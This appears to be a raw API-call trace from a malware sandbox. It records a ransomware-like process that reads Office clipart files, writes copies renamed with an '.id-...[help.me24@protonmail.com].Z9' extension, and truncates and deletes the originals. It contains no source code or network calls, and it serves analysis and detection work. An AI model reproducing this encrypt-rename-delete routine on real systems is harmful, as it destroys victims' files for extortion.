	[0093.754] lstrlenW (lpString=".1cd") returned 4
	[0093.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.754] lstrlenW (lpString=".jpg") returned 4
	[0093.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.754] lstrlenW (lpString=".doc") returned 4
	[0093.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString=".docx") returned 5
	[0093.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.754] lstrlenW (lpString=".pdf") returned 4
	[0093.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString=".xls") returned 4
	[0093.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.755] lstrlenW (lpString=".xlsx") returned 5
	[0093.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.755] lstrlenW (lpString=".ppt") returned 4
	[0093.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.755] lstrlenW (lpString=".zip") returned 4
	[0093.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.755] lstrlenW (lpString=".rar") returned 4
	[0093.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.755] lstrlenW (lpString=".bz2") returned 4
	[0093.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.755] lstrlenW (lpString=".7z") returned 3
	[0093.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.755] lstrlenW (lpString=".dbf") returned 4
	[0093.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.755] lstrlenW (lpString=".1cd") returned 4
	[0093.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.755] lstrlenW (lpString=".jpg") returned 4
	[0093.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.755] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.755] lstrlenW (lpString="FD02088_.WMF") returned 12
	[0093.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.756] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3696) returned 1
	[0093.756] CloseHandle (hObject=0x320) returned 1
	[0093.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220
	[0093.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.757] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.757] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.757] GetLastError () returned 0x0
	[0093.757] ReadFile (in: hFile=0x320, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xe70, lpOverlapped=0x0) returned 1
	[0093.764] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xe80, lpOverlapped=0x0) returned 1
	[0093.765] ReadFile (in: hFile=0x320, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.765] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.765] SetEndOfFile (hFile=0x338) returned 1
	[0093.765] CloseHandle (hObject=0x338) returned 1
	[0093.766] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.766] SetEndOfFile (hFile=0x320) returned 1
	[0093.766] CloseHandle (hObject=0x320) returned 1
	[0093.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1
	[0093.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.767] lstrlenW (lpString=".doc") returned 4
	[0093.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.767] lstrlenW (lpString=".docx") returned 5
	[0093.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.767] lstrlenW (lpString=".pdf") returned 4
	[0093.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.767] lstrlenW (lpString=".xls") returned 4
	[0093.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.767] lstrlenW (lpString=".xlsx") returned 5
	[0093.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.767] lstrlenW (lpString=".ppt") returned 4
	[0093.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.767] lstrlenW (lpString=".zip") returned 4
	[0093.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.767] lstrlenW (lpString=".rar") returned 4
	[0093.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.767] lstrlenW (lpString=".bz2") returned 4
	[0093.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.767] lstrlenW (lpString=".7z") returned 3
	[0093.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.768] lstrlenW (lpString=".dbf") returned 4
	[0093.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.768] lstrlenW (lpString=".1cd") returned 4
	[0093.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.768] lstrlenW (lpString=".jpg") returned 4
	[0093.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.768] lstrlenW (lpString=".doc") returned 4
	[0093.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.768] lstrlenW (lpString=".docx") returned 5
	[0093.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.768] lstrlenW (lpString=".pdf") returned 4
	[0093.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.768] lstrlenW (lpString=".xls") returned 4
	[0093.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.768] lstrlenW (lpString=".xlsx") returned 5
	[0093.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.768] lstrlenW (lpString=".ppt") returned 4
	[0093.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.768] lstrlenW (lpString=".zip") returned 4
	[0093.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.768] lstrlenW (lpString=".rar") returned 4
	[0093.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.768] lstrlenW (lpString=".bz2") returned 4
	[0093.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.768] lstrlenW (lpString=".7z") returned 3
	[0093.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.768] lstrlenW (lpString=".dbf") returned 4
	[0093.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.769] lstrlenW (lpString=".1cd") returned 4
	[0093.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0093.769] lstrlenW (lpString=".jpg") returned 4
	[0093.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.769] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.769] lstrlenW (lpString="FD02097_.WMF") returned 12
	[0093.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.769] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1564) returned 1
	[0093.769] CloseHandle (hObject=0x320) returned 1
	[0093.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220
	[0093.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.770] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.770] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.770] GetLastError () returned 0x0
	[0093.770] ReadFile (in: hFile=0x320, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x61c, lpOverlapped=0x0) returned 1
	[0093.846] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x620, lpOverlapped=0x0) returned 1
	[0093.847] ReadFile (in: hFile=0x320, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.848] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.848] SetEndOfFile (hFile=0x338) returned 1
	[0093.848] CloseHandle (hObject=0x338) returned 1
	[0093.848] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.848] SetEndOfFile (hFile=0x320) returned 1
	[0093.849] CloseHandle (hObject=0x320) returned 1
	[0093.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1
	[0093.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.849] lstrlenW (lpString=".doc") returned 4
	[0093.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString=".docx") returned 5
	[0093.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.850] lstrlenW (lpString=".pdf") returned 4
	[0093.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString=".xls") returned 4
	[0093.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.850] lstrlenW (lpString=".xlsx") returned 5
	[0093.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.850] lstrlenW (lpString=".ppt") returned 4
	[0093.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.850] lstrlenW (lpString=".zip") returned 4
	[0093.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.850] lstrlenW (lpString=".rar") returned 4
	[0093.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString=".bz2") returned 4
	[0093.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString=".7z") returned 3
	[0093.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.850] lstrlenW (lpString=".dbf") returned 4
	[0093.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.850] lstrlenW (lpString=".1cd") returned 4
	[0093.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.850] lstrlenW (lpString=".jpg") returned 4
	[0093.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.850] lstrlenW (lpString=".doc") returned 4
	[0093.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.850] lstrlenW (lpString=".docx") returned 5
	[0093.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.850] lstrlenW (lpString=".pdf") returned 4
	[0093.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.851] lstrlenW (lpString=".xls") returned 4
	[0093.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.851] lstrlenW (lpString=".xlsx") returned 5
	[0093.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.851] lstrlenW (lpString=".ppt") returned 4
	[0093.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.851] lstrlenW (lpString=".zip") returned 4
	[0093.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.851] lstrlenW (lpString=".rar") returned 4
	[0093.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.851] lstrlenW (lpString=".bz2") returned 4
	[0093.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.851] lstrlenW (lpString=".7z") returned 3
	[0093.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.851] lstrlenW (lpString=".dbf") returned 4
	[0093.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.851] lstrlenW (lpString=".1cd") returned 4
	[0093.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0093.851] lstrlenW (lpString=".jpg") returned 4
	[0093.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.851] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.851] lstrlenW (lpString="FD02141_.WMF") returned 12
	[0093.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.852] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2636) returned 1
	[0093.852] CloseHandle (hObject=0x320) returned 1
	[0093.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220
	[0093.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.853] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.853] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.853] GetLastError () returned 0x0
	[0093.853] ReadFile (in: hFile=0x320, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0093.911] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xa50, lpOverlapped=0x0) returned 1
	[0093.911] ReadFile (in: hFile=0x320, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.912] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.912] SetEndOfFile (hFile=0x338) returned 1
	[0093.912] CloseHandle (hObject=0x338) returned 1
	[0093.912] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.912] SetEndOfFile (hFile=0x320) returned 1
	[0093.913] CloseHandle (hObject=0x320) returned 1
	[0093.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1
	[0093.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.913] lstrlenW (lpString=".doc") returned 4
	[0093.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.913] lstrlenW (lpString=".docx") returned 5
	[0093.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.913] lstrlenW (lpString=".pdf") returned 4
	[0093.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.913] lstrlenW (lpString=".xls") returned 4
	[0093.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.913] lstrlenW (lpString=".xlsx") returned 5
	[0093.914] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.914] lstrlenW (lpString=".ppt") returned 4
	[0093.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.914] lstrlenW (lpString=".zip") returned 4
	[0093.914] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.914] lstrlenW (lpString=".rar") returned 4
	[0093.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.914] lstrlenW (lpString=".bz2") returned 4
	[0093.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.914] lstrlenW (lpString=".7z") returned 3
	[0093.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0093.914] lstrlenW (lpString=".dbf") returned 4
	[0093.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
